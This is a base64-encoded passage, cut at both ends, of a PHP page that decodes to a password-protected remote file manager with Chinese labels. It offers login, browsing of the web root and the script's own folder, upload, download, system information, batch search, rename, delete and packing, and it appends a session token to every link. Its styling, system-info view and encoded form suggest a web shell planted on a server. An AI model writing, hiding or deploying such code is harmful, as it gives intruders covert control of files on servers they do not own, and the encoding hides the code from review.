XN0LXN0eWxlOm5vbmU7bWFyZ2luOjA7cGFkZGluZzowO30KLmRpcnRyZWUgdWx7bGlzdC1zdHlsZTpub25lO21hcmdpbjowO3BhZGRpbmctbGVmdDoxNnB4O30KLmRpcm5vZGV7bGluZS1oZWlnaHQ6MjJweDt3aGl0ZS1zcGFjZTpub3dyYXA7fQouZGlybm9kZS5vbiA+IC5kaXJsYWJ7YmFja2dyb3VuZDojMzE2QUM1O2NvbG9yOiNmZmY7fQouZGlydG9newogIGRpc3BsYXk6aW5saW5lLWJsb2NrO3dpZHRoOjE0cHg7aGVpZ2h0OjE0cHg7bGluZS1oZWlnaHQ6MTRweDt0ZXh0LWFsaWduOmNlbnRlcjsKICBiYWNrZ3JvdW5kOiNkZGQ7Ym9yZGVyOjFweCBzb2xpZCAjOTk5O2NvbG9yOiMwMDA7Zm9udC1zaXplOjEycHg7Y3Vyc29yOnBvaW50ZXI7CiAgdmVydGljYWwtYWxpZ246bWlkZGxlO21hcmdpbi1yaWdodDo0cHg7dXNlci1zZWxlY3Q6bm9uZTsKfQouZGlydG9nLmVtcHR5e2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Ym9yZGVyLWNvbG9yOnRyYW5zcGFyZW50O2N1cnNvcjpkZWZhdWx0O2NvbG9yOiM4ODg7fQouZGlybGFie2NvbG9yOiMwMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7cGFkZGluZzoxcHggNHB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtjdXJzb3I6cG9pbnRlcjt9Ci5kaXJsYWI6aG92ZXJ7YmFja2dyb3VuZDojZDBlNGZmO30KLmRpcmtpZHN7bWFyZ2luOjA7fQouY2xlYXJ7Y2xlYXI6Ym90aDt9Ci5pbmZvIHRke3BhZGRpbmc6NHB4IDhweDtib3JkZXI6MXB4IHNvbGlkICM1NDU0NTQ7fQouaW5mbyB0ZC5re3dpZHRoOjE0MHB4O2JhY2tncm91bmQ6IzAwMDtjb2xvcjojRkZGRkNDO30KLmxvZ2luLXdyYXB7d2lkdGg6MzIwcHg7bWFyZ2luOjgwcHggYXV0bztwYWRkaW5nOjE2cHg7Ym9yZGVyOjFweCBzb2xpZCAjOTk5O2JhY2tncm91bmQ6IzAwMDt9Ci5sb2dpbi13cmFwIGgye2NvbG9yOiNmZjAwMDA7bWFyZ2luLWJvdHRvbToxMnB4O2ZvbnQtc2l6ZToxNHB4O30KLmFte2NvbG9yOiM4ODg7Zm9udC1zaXplOjExcHg7fQppbnB1dC5idG5iaWcsYnV0dG9uLmJ0bmJpZ3sKICBwYWRkaW5nOjZweCAxOHB4O2ZvbnQtc2l6ZToxNHB4O2hlaWdodDphdXRvO21pbi1oZWlnaHQ6MzBweDsKICBjdXJzb3I6cG9pbnRlcjt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Cn0KPC9zdHlsZT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBzaG93UmVuYW1lKGlkKXsKICB2YXIgZWw9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpOwogIGlmKGVsKXsgZWwuc3R5bGUuZGlzcGxheSA9IChlbC5zdHlsZS5kaXNwbGF5PT09J2Jsb2NrJz8nbm9uZSc6J2Jsb2NrJyk7IH0KfQpmdW5jdGlvbiBwaWNrRmlsZShpbnAsIHNob3dJZCl7CiAgdmFyIHNob3c9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoc2hvd0lkKTsKICBpZighc2hvdykgcmV0dXJuOwogIGlmKGlucC5maWxlcyAmJiBpbnAuZmlsZXMubGVuZ3RoPjApewogICAgc2hvdy52YWx1ZSA9IGlucC5maWxlc1swXS5uYW1lOwogICAgc2hvdy50aXRsZSA9IGlucC5maWxlc1swXS5uYW1lOwogIH1lbHNlewogICAgc2hvdy52YWx1ZSA9ICcnOwogICAgc2hvdy50aXRsZSA9ICcnOwogIH0KfQpmdW5jdGlvbiBzeW5jUGF0aChzZWwpewogIHZhciBpbnA9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3BhdGhpbnAnKTsKICBpZihpbnApeyBpbnAudmFsdWUgPSBzZWwudmFsdWU7IH0KfQpmdW5jdGlvbiB0b2dnbGVEaXJEcm9wKGV2KXsKICBpZihldil7IGV2LnByZXZlbnREZWZhdWx0KCk7IGV2LnN0b3BQcm9wYWdhdGlvbigpOyB9CiAgdmFyIGJveD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGlyYm94Jyk7CiAgdmFyIGFycj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGlyYXJyJyk7CiAgaWYoIWJveCkgcmV0dXJuOwogIHZhciBvcGVuID0gYm94LmNsYXNzTmFtZS5pbmRleE9mKCdvcGVuJyk+PTA7CiAgaWYob3Blbil7CiAgICBib3guY2xhc3NOYW1lPSdkaXJib3gnOwogICAgaWYoYXJyKSBhcnIuaW5uZXJIVE1MPSfilrwnOwogIH1lbHNlewogICAgYm94LmNsYXNzTmFtZT0nZGlyYm94IG9wZW4nOwogICAgaWYoYXJyKSBhcnIuaW5uZXJIVE1MPSfilrInOwogIH0KfQpmdW5jdGlvbiBjbG9zZURpckRyb3AoKXsKICB2YXIgYm94PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkaXJib3gnKTsKICB2YXIgYXJyPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkaXJhcnInKTsKICBpZihib3gpIGJveC5jbGFzc05hbWU9J2RpcmJveCc7CiAgaWYoYXJyKSBhcnIuaW5uZXJIVE1MPSfilrwnOwp9CmZ1bmN0aW9uIHRvZ2dsZURpcihidG4pewogIGlmKCFidG4gfHwgKGJ0bi5jbGFzc05hbWUgJiYgYnRuLmNsYXNzTmFtZS5pbmRleE9mKCdlbXB0eScpPj0wKSkgcmV0dXJuOwogIHZhciBraWRzID0gbnVsbDsKICBpZihidG4ucGFyZW50Tm9kZSl7CiAgICBpZihidG4ucGFyZW50Tm9kZS5xdWVyeVNlbGVjdG9yKXsKICAgICAga2lkcyA9IGJ0bi5wYXJlbnROb2RlLnF1ZXJ5U2VsZWN0b3IoJy5kaXJraWRzJyk7CiAgICB9ZWxzZXsKICAgICAgdmFyIGNoPWJ0bi5wYXJlbnROb2RlLmNoaWxkTm9kZXM7CiAgICAgIGZvcih2YXIgaT0wO2k8Y2gubGVuZ3RoO2krKyl7CiAgICAgICAgaWYoY2hbaV0uY2xhc3NOYW1lICYmIGNoW2ldLmNsYXNzTmFtZS5pbmRleE9mKCdkaXJraWRzJyk+PTApeyBraWRzPWNoW2ldOyBicmVhazsgfQogICAgICB9CiAgICB9CiAgfQogIGlmKCFraWRzKSByZXR1cm47CiAgaWYoa2lkcy5zdHlsZS5kaXNwbGF5PT09J25vbmUnKXsKICAgIGtpZHMuc3R5bGUuZGlzcGxheT0nYmxvY2snOwogICAgYnRuLmlubmVySFRNTD0n4oiSJzsKICB9ZWxzZXsKICAgIGtpZHMuc3R5bGUuZGlzcGxheT0nbm9uZSc7CiAgICBidG4uaW5uZXJIVE1MPScrJzsKICB9Cn0KZnVuY3Rpb24gcGlja0RpcihwYXRoLCBlbCl7CiAgdmFyIGlucD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGF0aGlucCcpOwogIGlmKGlucCl7CiAgICBpbnAudmFsdWUgPSBwYXRoOwogICAgaW5wLnRpdGxlID0gcGF0aCA9PT0gJycgPyAnW+agueebruW9lV0nIDogcGF0aDsKICB9CiAgdmFyIGJveD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGlyYm94Jyk7CiAgaWYoYm94KXsKICAgIHZhciBvbnM9W107CiAgICBpZihib3gucXVlcnlTZWxlY3RvckFsbCl7CiAgICAgIG9ucz1ib3gucXVlcnlTZWxlY3RvckFsbCgnLmRpcm5vZGUub24nKTsKICAgIH0KICAgIGZvcih2YXIgaT0wO2k8b25zLmxlbmd0aDtpKyspeyBvbnNbaV0uY2xhc3NOYW1lID0gb25zW2ldLmNsYXNzTmFtZS5yZXBsYWNlKC9cYm9uXGIvZywnJykucmVwbGFjZSgvXHMrL2csJyAnKS5yZXBsYWNlKC9eXHN8XHMkL2csJycpOyB9CiAgfQogIGlmKGVsICYmIGVsLnBhcmVudE5vZGUpewogICAgdmFyIGNuPWVsLnBhcmVudE5vZGUuY2xhc3NOYW1lfHwnJzsKICAgIGlmKGNuLmluZGV4T2YoJ29uJyk8MCkgZWwucGFyZW50Tm9kZS5jbGFzc05hbWUgPSAoY24gKyAnIG9uJykucmVwbGFjZSgvXlxzKy8sJycpOwogIH0KICBjbG9zZURpckRyb3AoKTsKfQpmdW5jdGlvbiBvbkRvY0NsaWNrKGUpewogIGUgPSBlIHx8IHdpbmRvdy5ldmVudDsKICB2YXIgZHJvcD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGlyZHJvcCcpOwogIGlmKCFkcm9wKSByZXR1cm47CiAgdmFyIHQ9ZS50YXJnZXQgfHwgZS5zcmNFbGVtZW50OwogIHdoaWxlKHQpewogICAgaWYodD09PWRyb3ApIHJldHVybjsKICAgIHQ9dC5wYXJlbnROb2RlOwogIH0KICBjbG9zZURpckRyb3AoKTsKfQppZihkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKXsKICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIG9uRG9jQ2xpY2ssIGZhbHNlKTsKfWVsc2UgaWYoZG9jdW1lbnQuYXR0YWNoRXZlbnQpewogIGRvY3VtZW50LmF0dGFjaEV2ZW50KCdvbmNsaWNrJywgb25Eb2NDbGljayk7Cn0KPC9zY3JpcHQ+Cjw/cGhwIGlmICghZW1wdHkoJGZ0X2NsZWFyKSkgeyA/PjxzY3JpcHQ+ZG9jdW1lbnQuY29va2llPSdmdD07cGF0aD0vO21heC1hZ2U9MCc7PC9zY3JpcHQ+PD9waHAgfSA/Pjw/cGhwIGlmICghZW1wdHkoJGF1dGhlZCkpIHsgPz48c2NyaXB0PihmdW5jdGlvbigpe3ZhciB0PTw/cGhwIGVjaG8ganNvbl9lbmNvZGUoJEZUX1RPS0VOKTsgPz47dHJ5e2RvY3VtZW50LmNvb2tpZT0nZnQ9JytlbmNvZGVVUklDb21wb25lbnQodCkrJztwYXRoPS87U2FtZVNpdGU9TGF4Jzt9Y2F0Y2goZSl7fWZ1bmN0aW9uIGFkZEZ0KHUpe2lmKCF1fHx1LmluZGV4T2YoJ2phdmFzY3JpcHQ6Jyk9PT0wfHx1LmluZGV4T2YoJyMnKT09PTApcmV0dXJuIHU7aWYodS5pbmRleE9mKCdmdD0nKT49MClyZXR1cm4gdTtyZXR1cm4gdSsodS5pbmRleE9mKCc/Jyk+PTA/JyYnOic/JykrJ2Z0PScrZW5jb2RlVVJJQ29tcG9uZW50KHQpO31kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJyxmdW5jdGlvbigpe3ZhciBpLGE9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2EnKTtmb3IoaT0wO2k8YS5sZW5ndGg7aSsrKXt2YXIgaD1hW2ldLmdldEF0dHJpYnV0ZSgnaHJlZicpO2lmKGgpYVtpXS5zZXRBdHRyaWJ1dGUoJ2hyZWYnLGFkZEZ0KGgpKTt9dmFyIGY9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2Zvcm0nKTtmb3IoaT0wO2k8Zi5sZW5ndGg7aSsrKXtpZihmW2ldLnF1ZXJ5U2VsZWN0b3IoJ2lucHV0W25hbWU9ZnRdJykpY29udGludWU7dmFyIGlucD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpO2lucC50eXBlPSdoaWRkZW4nO2lucC5uYW1lPSdmdCc7aW5wLnZhbHVlPXQ7ZltpXS5hcHBlbmRDaGlsZChpbnApO3ZhciBhY3Q9ZltpXS5nZXRBdHRyaWJ1dGUoJ2FjdGlvbicpO2lmKGFjdClmW2ldLnNldEF0dHJpYnV0ZSgnYWN0aW9uJyxhZGRGdChhY3QpKTt9fSk7fSkoKTs8L3NjcmlwdD48P3BocCB9ID8+PC9oZWFkPgo8Ym9keT4KPD9waHAgaWYgKCEkYXV0aGVkKSB7ID8+CjxkaXYgY2xhc3M9ImxvZ2luLXdyYXAiPgogIDxoMj5GaWxlIFRyYW5zZmVyIExvZ2luPC9oMj4KICA8P3BocCBpZiAoJGVycikgeyA/PjxkaXYgY2xhc3M9ImVyciI+PD9waHAgZWNobyBoKCRlcnIpOyA/PjwvZGl2Pjw/cGhwIH0gPz4KICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRvX2xvZ2luIiB2YWx1ZT0iMSIgLz4KICAgIOWvhuegge+8mgogICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzd29yZCIgc3R5bGU9IndpZHRoOjIwMHB4O2JhY2tncm91bmQ6IzAwMDtjb2xvcjojZmZmOyIgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLnmbvlvZUiIC8+CiAgPC9mb3JtPgogIDxwIGNsYXNzPSJhbSIgc3R5bGU9Im1hcmdpbi10b3A6MTBweCI+5LuF5paH5Lu25Lyg6L6TIMK3IOaXoOWRveS7pOaJp+ihjDwvcD4KPC9kaXY+Cjw/cGhwIH0gZWxzZSB7ID8+CjxkaXYgY2xhc3M9IndyYXAiPgogIDxkaXYgY2xhc3M9ImxlZnQiPgogICAgPGRpdiBjbGFzcz0ibWVudSI+CiAgICAgIDxkbD4KICAgICAgICA8ZHQ+PHNwYW4gY2xhc3M9ImFyciI+Jmd0Ozwvc3Bhbj7mnKzlnLDnoaznm5g8L2R0PgogICAgICAgIDxkZD48dWw+CiAgICAgICAgICA8bGk+PGEgY2xhc3M9Ijw/cGhwIGVjaG8gKCRtPT09J2ZpbGVzJyAmJiAkYmFzZT09PSd3ZWInKT8nb24nOicnOyA/PiIgaHJlZj0iP209ZmlsZXMmYW1wO2Jhc2U9d2ViIj7nvZHnq5nmoLnnm67lvZU8L2E+PC9saT4KICAgICAgICAgIDxsaT48YSBjbGFzcz0iPD9waHAgZWNobyAoJG09PT0nZmlsZXMnICYmICRiYXNlPT09J3NjcmlwdCcpPydvbic6Jyc7ID8+IiBocmVmPSI/bT1maWxlcyZhbXA7YmFzZT1zY3JpcHQiPuacrOeoi+W6j+ebruW9lTwvYT48L2xpPgogICAgICAgIDwvdWw+PC9kZD4KICAgICAgPC9kbD4KICAgICAgPGRsPgogICAgICAgIDxkdD48c3BhbiBjbGFzcz0iYXJyIj4mZ3Q7PC9zcGFuPuS/oeaBr+aTjeS9nDwvZHQ+CiAgICAgICAgPGRkPjx1bD4KICAgICAgICAgIDxsaT48YSBjbGFzcz0iPD9waHAgZWNobyAkbT09PSd1cGxvYWQnPydvbic6Jyc7ID8+IiBocmVmPSI/bT1maWxlcyZhbXA7YmFzZT08P3BocCBlY2hvIGgoJGJhc2UpOyA/PiZhbXA7cD08P3BocCBlY2hvIGgocmF3dXJsZW5jb2RlKCRjdXJSZWwpKTsgPz4jdXAiPuS4iuS8oOaWh+S7tjwvYT48L2xpPgogICAgICAgICAgPGxpPjxhIGNsYXNzPSI8P3BocCBlY2hvICRtPT09J2Rvd25sb2FkJz8nb24nOicnOyA/PiIgaHJlZj0iP209ZG93bmxvYWQmYW1wO2Jhc2U9PD9waHAgZWNobyBoKCRiYXNlKTsgPz4iPuaWh+S7tuS4i+i9vTwvYT48L2xpPgogICAgICAgICAgPGxpPjxhIGNsYXNzPSI8P3BocCBlY2hvICRtPT09J2Jhc2ljJz8nb24nOicnOyA/PiIgaHJlZj0iP209YmFzaWMmYW1wO2Jhc2U9PD9waHAgZWNobyBoKCRiYXNlKTsgPz4iPuWfuuacrOS/oeaBrzwvYT48L2xpPgogICAgICAgICAgPGxpPjxhIGNsYXNzPSI8P3BocCBlY2hvICRtPT09J3N5cyc/J29uJzonJzsgPz4iIGhyZWY9Ij9tPXN5cyZhbXA7YmFzZT08P3BocCBlY2hvIGgoJGJhc2UpOyA/PiI+57O757uf5L+h5oGvPC9hPjwvbGk+CiAgICAgICAgPC91bD48L2RkPgogICAgICA8L2RsPgogICAgICA8ZGw+CiAgICAgICAgPGR0PjxzcGFuIGNsYXNzPSJhcnIiPiZndDs8L3NwYW4+5om56YeP5pON5L2cPC9kdD4KICAgICAgICA8ZGQ+PHVsPgogICAgICAgICAgPGxpPjxhIGNsYXNzPSI8P3BocCBlY2hvICRtPT09J3NlYXJjaCc/J29uJzonJzsgPz4iIGhyZWY9Ij9tPXNlYXJjaCZhbXA7YmFzZT08P3BocCBlY2hvIGgoJGJhc2UpOyA/PiI+5om56YeP5pCc57Si5paH5Lu2PC9hPjwvbGk+CiAgICAgICAgPC91bD48L2RkPgogICAgICA8L2RsPgogICAgICA8ZGw+CiAgICAgICAgPGR0PjxzcGFuIGNsYXNzPSJhcnIiPiZndDs8L3NwYW4+5YW25a6DPC9kdD4KICAgICAgICA8ZGQ+PHVsPgogICAgICAgICAgPGxpPjxhIGhyZWY9Ij9sb2dvdXQ9MSI+6YCA5Ye655m75b2VPC9hPjwvbGk+CiAgICAgICAgPC91bD48L2RkPgogICAgICA8L2RsPgogICAgPC9kaXY+CiAgPC9kaXY+CiAgPGRpdiBjbGFzcz0icmlnaHQiPgogICAgPD9waHAgaWYgKCRtc2cpIHsgPz48ZGl2IGNsYXNzPSJtc2ciPjw/cGhwIGVjaG8gaCgkbXNnKTsgPz48L2Rpdj48P3BocCB9ID8+CiAgICA8P3BocCBpZiAoJGVycikgeyA/PjxkaXYgY2xhc3M9ImVyciI+PD9waHAgZWNobyBoKCRlcnIpOyA/PjwvZGl2Pjw/cGhwIH0gPz4KPD9waHAgaWYgKCRtID09PSAnZmlsZXMnKSB7ID8+CiAgICA8ZGl2IGNsYXNzPSJhY3RhbGwiPgogICAgICDlvZPliY3vvJo8P3BocCBlY2hvICRiYXNlID09PSAnc2NyaXB0JyA/ICfmnKznqIvluo/nm67lvZUnIDogJ+e9keermeagueebruW9lSc7ID8+CiAgICAgICZuYnNwO3wmbmJzcDvot6/lvoTvvJoKICAgICAgPGEgaHJlZj0iP209ZmlsZXMmYW1wO2Jhc2U9PD9waHAgZWNobyBoKCRiYXNlKTsgPz4mYW1wO3A9LiI+W+aguV08L2E+CiAgICAgIDw/cGhwCiAgICAgIGlmICgkY3VyUmVsICE9PSAnLicpIHsKICAgICAgICAgICRwYXJ0cyA9IGV4cGxvZGUoJy8nLCAkY3VyUmVsKTsKICAgICAgICAgICRhY2MgPSAnJzsKICAgICAgICAgIGZvcmVhY2ggKCRwYXJ0cyBhcyAkcGFydCkgewogICAgICAgICAgICAgICRhY2MgPSAoJGFjYyA9PT0gJycpID8gJHBhcnQgOiAoJGFjYyAuICcvJyAuICRwYXJ0KTsKICAgICAgICAgICAgICBlY2hvICcgLyA8YSBocmVmPSI/bT1maWxlcyZhbXA7YmFzZT0nIC4gaCgkYmFzZSkgLiAnJmFtcDtwPScgLiBoKHJhd3VybGVuY29kZSgkYWNjKSkgLiAnIj4nIC4gaCgkcGFydCkgLiAnPC9hPic7CiAgICAgICAgICB9CiAgICAgIH0KICAgICAgPz4KICAgICAgPGJyIC8+PHNwYW4gY2xhc3M9ImFtIj48P3BocCBlY2hvIGgoJFJPT1QpOyA/Pjw/cGhwIGVjaG8gJGN1clJlbCA9PT0gJy4nID8gJycgOiAnLycgLiBoKCRjdXJSZWwpOyA/Pjwvc3Bhbj4KICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0iYm94Ij4KICAgICAgPGZvcm0gaWQ9InVwIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iP209ZmlsZXMmYW1wO2Jhc2U9PD9waHAgZWNobyBoKCRiYXNlKTsgPz4mYW1wO3A9PD9waHAgZWNobyBoKHJhd3VybGVuY29kZSgkY3VyUmVsKSk7ID8+IiBjbGFzcz0idXBsaW5lIj4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkb191cGxvYWQiIHZhbHVlPSIxIiAvPgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRvZGlyIiB2YWx1ZT0iPD9waHAgZWNobyBoKCRjdXJSZWwgPT09ICcuJyA/ICcnIDogJGN1clJlbCk7ID8+IiAvPgogICAgICAgIOS4iuS8oOWIsOW9k+WJjeebruW9le+8mgogICAgICAgIDxzcGFuIGNsYXNzPSJmaWxlYnRuIj48c3Bhbj7pgInmi6nmlofku7Y8L3NwYW4+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIG9uY2hhbmdlPSJwaWNrRmlsZSh0aGlzLCdmbnNob3cxJykiIC8+PC9zcGFuPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0iZm5zaG93MSIgY2xhc3M9ImZuc2hvdyIgcmVhZG9ubHk9InJlYWRvbmx5IiB2YWx1ZT0iIiBwbGFjZWhvbGRlcj0i5pyq6YCJ5oup5paH5Lu2IiAvPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+CiAgICAgICAgPHNwYW4gY2xhc3M9ImFtIj7mnIDlpKcgPD9waHAgZWNobyBoKGZtdF9zaXplKCRNQVhfVVBMT0FEKSk7ID8+PC9zcGFuPgogICAgICA8L2Zvcm0+CiAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI/bT1maWxlcyZhbXA7YmFzZT08P3BocCBlY2hvIGgoJGJhc2UpOyA/PiZhbXA7cD08P3BocCBlY2hvIGgocmF3dXJsZW5jb2RlKCRjdXJSZWwpKTsgPz4iPgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRvX21rZGlyIiB2YWx1ZT0iMSIgLz4KICAgICAgICDmlrDlu7rnm67lvZXvvJo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlybmFtZSIgc3R5bGU9IndpZHRoOjE2MHB4IiAvPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLliJvlu7oiIC8+CiAgICAgIDwvZm9ybT4KICAgICAgPHRhYmxlIGNsYXNzPSJsaXN0Ij4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGg+5ZCN56ewPC90aD4KICAgICAgICAgIDx0aCB3aWR0aD0iMTYwIj7mk43kvZw8L3RoPgogICAgICAgICAgPHRoIHdpZHRoPSI2MCI+5p2D6ZmQPC90aD4KICAgICAgICAgIDx0aCB3aWR0aD0iMTQwIj7miYDmnInogIU8L3RoPgogICAgICAgICAgPHRoIHdpZHRoPSIxNTAiPuS/ruaUueaXtumXtDwvdGg+CiAgICAgICAgPC90cj4KICAgICAgICA8P3BocCBpZiAoJGN1clJlbCAhPT0gJy4nKSB7CiAgICAgICAgICAgICR1cCA9IGRpcm5hbWUoJGN1clJlbCk7CiAgICAgICAgICAgIGlmICgkdXAgPT09ICcuJyB8fCAkdXAgPT09ICdcXCcgfHwgJHVwID09PSAnLycpIHsKICAgICAgICAgICAgICAgICR1cCA9ICcuJzsKICAgICAgICAgICAgfQogICAgICAgICAgICAkdXAgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICR1cCk7CiAgICAgICAgICAgIGVjaG8gJzx0cj48dGQgY29sc3Bhbj0iNSI+PGEgaHJlZj0iP209ZmlsZXMmYW1wO2Jhc2U9JyAuIGgoJGJhc2UpIC4gJyZhbXA7cD0nIC4gaChyYXd1cmxlbmNvZGUoJHVwKSkgLiAnIj48aW1nIGNsYXNzPSJpY28iIHNyYz0iJyAuICRJQ09fRk9MREVSIC4gJyIgYWx0PSIiIC8+Li4vIOS4iue6p+ebruW9lTwvYT48L3RkPjwvdHI+JzsKICAgICAgICB9CiAgICAgICAgJGl0ZW1zID0gQHNjYW5kaXIoJGN1ckZ1bGwpOwogICAgICAgIGlmICghaXNfYXJyYXkoJGl0ZW1zKSkgewogICAgICAgICAgICAkaXRlbXMgPSBhcnJheSgpOwogICAgICAgIH0KICAgICAgICAkZGlycyA9IGFycmF5KCk7CiAgICAgICAgJGZpbGVzID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0KSB7CiAgICAgICAgICAgIGlmICgkaXQgPT09ICcuJyB8fCAkaXQgPT09ICcuLicpIHsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRmcCA9ICRjdXJGdWxsIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRpdDsKICAgICAgICAgICAgaWYgKGlzX2RpcigkZnApKSB7CiAgICAgICAgICAgICAgICAkZGlyc1tdID0gJGl0OwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGZpbGVzW10gPSAkaXQ7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgbmF0Y2FzZXNvcnQoJGRpcnMpOwogICAgICAgIG5hdGNhc2Vzb3J0KCRmaWxlcyk7CiAgICAgICAgJHJvdyA9IDA7CiAgICAgICAgZm9yZWFjaCAoJGRpcnMgYXMgJGl0KSB7CiAgICAgICAgICAgICRyZWwgPSAoJGN1clJlbCA9PT0gJy4nID8gJGl0IDogJGN1clJlbCAuICcvJyAuICRpdCk7CiAgICAgICAgICAgICRmcCA9ICRjdXJGdWxsIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRpdDsKICAgICAgICAgICAgJG10aW1lID0gQGZpbGVtdGltZSgkZnApOwogICAgICAgICAgICAkcmlkID0gJ3InIC4gJHJvdysrOwogICAgICAgICAgICBlY2hvICc8dHI+JzsKICAgICAgICAgICAgZWNobyAnPHRkIGNsYXNzPSJmbmFtZSI+JzsKICAgICAgICAgICAgZWNobyAnPGlucHV0IGNsYXNzPSJjYiIgdHlwZT0iY2hlY2tib3giIG5hbWU9InNlbFtdIiB2YWx1ZT0iJyAuIGgoJHJlbCkgLiAnIiAvPic7CiAgICAgICAgICAgIGVjaG8gJzxpbWcgY2xhc3M9ImljbyIgc3JjPSInIC4gJElDT19GT0xERVIgLiAnIiBhbHQ9ImRpciIgLz4nOwogICAgICAgICAgICBlY2hvICc8YSBocmVmPSI/bT1maWxlcyZhbXA7YmFzZT0nIC4gaCgkYmFzZSkgLiAnJmFtcDtwPScgLiBoKHJhd3VybGVuY29kZSgkcmVsKSkgLiAnIj4nIC4gaCgkaXQpIC4gJzwvYT4nOwogICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJyZW5ib3giIGlkPSInIC4gJHJpZCAuICciPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI/bT1maWxlcyZhbXA7YmFzZT0nIC4gaCgkYmFzZSkgLiAnJmFtcDtwPScgLiBoKHJhd3VybGVuY29kZSgkY3VyUmVsKSkgLiAnIj4nOwogICAgICAgICAgICBlY2hvICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkb19yZW5hbWUiIHZhbHVlPSIxIiAvPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNyYyIgdmFsdWU9IicgLiBoKCRyZWwpIC4gJyIgLz4nOwogICAgICAgICAgICBlY2hvICc8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3bmFtZSIgdmFsdWU9IicgLiBoKCRpdCkgLiAnIiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i56Gu5a6aIiAvPjwvZm9ybT48L2Rpdj4nOwogICAgICAgICAgICBlY2hvICc8L3RkPic7CiAgICAgICAgICAgIGVjaG8gJzx0ZCBjbGFzcz0ib3BzIj4nOwogICAgICAgICAgICBlY2hvICc8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiIG9uY2xpY2s9InNob3dSZW5hbWUoXCcnIC4gJHJpZCAuICdcJykiPuaUueWQjTwvYT4nOwogICAgICAgICAgICBlY2hvICc8YSBocmVmPSI/bT1maWxlcyZhbXA7YmFzZT0nIC4gaCgkYmFzZSkgLiAnJmFtcDtwPScgLiBoKHJhd3VybGVuY29kZSgkY3VyUmVsKSkgLiAnJmFtcDtkZWw9JyAuIGgocmF3dXJsZW5jb2RlKCRyZWwpKSAuICciIG9uY2xpY2s9InJldHVybiBjb25maXJtKFwn5Yig6Zmk56m655uu5b2V77yfXCcpIj7liKDpmaQ8L2E+JzsKICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP209ZmlsZXMmYW1wO2Jhc2U9JyAuIGgoJGJhc2UpIC4gJyZhbXA7cD0nIC4gaChyYXd1cmxlbmNvZGUoJGN1clJlbCkpIC4gJyZhbXA7cGFjaz0nIC4gaChyYXd1cmxlbmNvZGUoJHJlbCkpIC4gJyI+5omT5YyFPC9hPic7CiAgICAgICAgICAgIGVjaG8gJzwvdGQ+JzsKICAgICAgICAgICAgZWNobyAnPHRkIGNsYXNzPSJwZXJtIj4nIC4gaChmaWxlX3Blcm0oJGZwKSkgLiAnPC90ZD4nOwogICAgICAgICAgICBlY2hvICc8dGQgY2xhc3M9Im93bmVyIj4nIC4gaChmaWxlX293bmVyX3N0cigkZnApKSAuICc8L3RkPic7CiAgICAgICAgICAgIGVjaG8gJzx0ZCBjbGFzcz0ibXRpbWUiPicgLiBoKCRtdGltZSA/IGRhdGUoJ1ktbS1